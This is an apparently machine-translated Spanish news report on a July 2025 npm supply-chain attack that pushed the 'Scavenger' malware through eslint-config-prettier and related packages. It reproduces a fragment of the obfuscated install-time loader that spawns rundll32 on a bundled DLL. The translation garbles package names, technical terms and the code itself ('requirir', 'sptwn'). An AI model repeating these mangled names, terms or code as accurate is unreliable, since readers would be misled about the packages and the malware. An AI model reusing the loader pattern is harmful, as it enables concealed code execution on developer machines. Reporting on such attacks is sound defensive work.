Un sofisticado ataque de la cadena de suministro dirigido a los desarrolladores de JavaScript surgió el viernes 18 de julio de 2025, cuando los ciberdelincuentes comprometieron múltiples paquetes de NPM populares para distribuir el recién identificado malware “Scavenger”.
El ataque se centró principalmente en Eslint-Config-Prettier, un paquete de formato de código ampliamente utilizado, junto con varias otras herramientas de desarrollo que incluyen Eslint-Plugin-Prettier, Snyckit, @PKGR/Core y NAPI-Postinstall.
El compromiso se descubrió cuando los usuarios de GitHub informaron lanzamientos sospechosos de Eslint-Config-Protier que apareció en el registro de NPM a pesar de que no se reflejaron los cambios de código correspondientes en el repositorio de GitHub del proyecto.
Correo electrónico de phishing recibido por NPM Package Mander (Fuente – Humpty’s Re Blog)
El mantenedor de paquetes luego confirmó que su cuenta NPM se había comprometido a través de una campaña de correo electrónico de Phishing, permitiendo a los atacantes publicar versiones maliciosas en múltiples versiones de paquetes que incluyen 8.10.1, 9.1.1, 10.1.6 y 10.1.7.
Blog RE de Humpty identificado La familia de malware como “Scavenger” debido a múltiples referencias a las cadenas “SCVNGR” y “Scavenger” que se encuentran en las variantes de malware.
El ataque representa una escalada significativa en las amenazas de la cadena de suministro, ya que se dirige específicamente al ecosistema de desarrolladores a través de herramientas de desarrollo confiables que se instalan rutinariamente en proyectos de JavaScript en todo el mundo.
El impacto del malware se extiende más allá del robo de información típica, ya que se dirige específicamente a los navegadores basados en el cromo y sus tiendas de datos asociadas, incluidas las extensiones, el servicio de servicio, Dawnwebpucache y los enlaces visitados.
Esta orientación sugiere que los atacantes están particularmente interesados en cosechar credenciales de desarrolladores, tokens de sesión y patrones de navegación de profesionales de desarrollo de software que comúnmente usan estas herramientas.
Mecanismo de infección y ejecución de código
El malware del carroñero emplea un vector de infección sofisticado a través del paquete comprometido de Eslint-Config-Prettier.
Tras la instalación, el paquete malicioso ejecuta un archivo Install.js que contiene una función logDiskSpace () engañosamente llamada que sirve como el mecanismo de entrega de carga útil inicial.
Rutina de descifrado de cadena (fuente – Blog de Humpty’s RE)
La función incluye el código JavaScript offuscado deliberadamente que verifica los sistemas de Windows antes de ejecutar la carga útil maliciosa:-
function logDiskSpace () {try {if (OS.platform () == ‘win32’) {const tempdir = OS.tmpDir (); requirir (‘chi’+’ld_pro’+’cess’) (“sp”+”twn”) (“rund”+”ll32″, (path.Join (__ dirname, ‘./node-gyp’+’.dll’)+”, main”));
Este fragmento de código demuestra que el uso de la concatenación de cadenas de los atacantes para evadir las herramientas de análisis estático al ejecutar un archivo DLL agrupado llamado Node-Gyp.dll utilizando Windows ‘RunDLL32.Exe Utility.
El cargador de malware, compilado el mismo día que el ataque (2025-07-18 08:59:38 UTC), incorpora múltiples técnicas anti-análisis, incluida la detección de VM a través de la enumeración de la mesa de firmware de SMBIOS y el escaneo de espacio de proceso para herramientas de seguridad como Avast, Sandboxie y Comodo Antivirus.
El malware utiliza el cifrado de cifrado de bloques XXTEA con un valor delta distintivo de 0x9E3779B9 para las comunicaciones de comando y control, estableciendo el contacto inicial a través de respuestas codificadas en Base64 de la infraestructura comprometida.
Aumentar la detección, reducir la fatiga de alerta, acelerar la respuesta; Todo con una caja de arena interactiva construida para equipos de seguridad -> Prueba cualquiera.